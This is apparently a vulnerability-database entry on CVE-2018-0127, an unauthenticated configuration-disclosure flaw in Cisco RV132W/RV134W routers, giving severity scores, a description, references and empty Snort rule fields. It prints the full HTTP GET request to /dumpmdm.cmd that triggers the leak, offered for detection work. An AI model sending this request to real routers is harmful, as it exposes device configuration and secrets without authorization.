🔙 목록으로 돌아가기

CVE-2018-0127: Cisco RV132W/RV134W Router - Information Disclosure

TitleCisco RV132W/RV134W Router - Information Disclosure
Authorjrolf
SeverityCritical
ImpactAn attacker can exploit this vulnerability to gain sensitive information from the router.
RemediationApply the latest firmware update provided by Cisco to fix the vulnerability.
CVSS Score9.8
EPSS Score0.91541
CVE IDCVE-2018-0127
CWE IDCWE-306,CWE-200
Tags cve cve2018 cisco router vkev vuln

🔍 Vulnerability Description

Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.

🌐 HTTP Request

GET /dumpmdm.cmd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-0127.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-0127.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A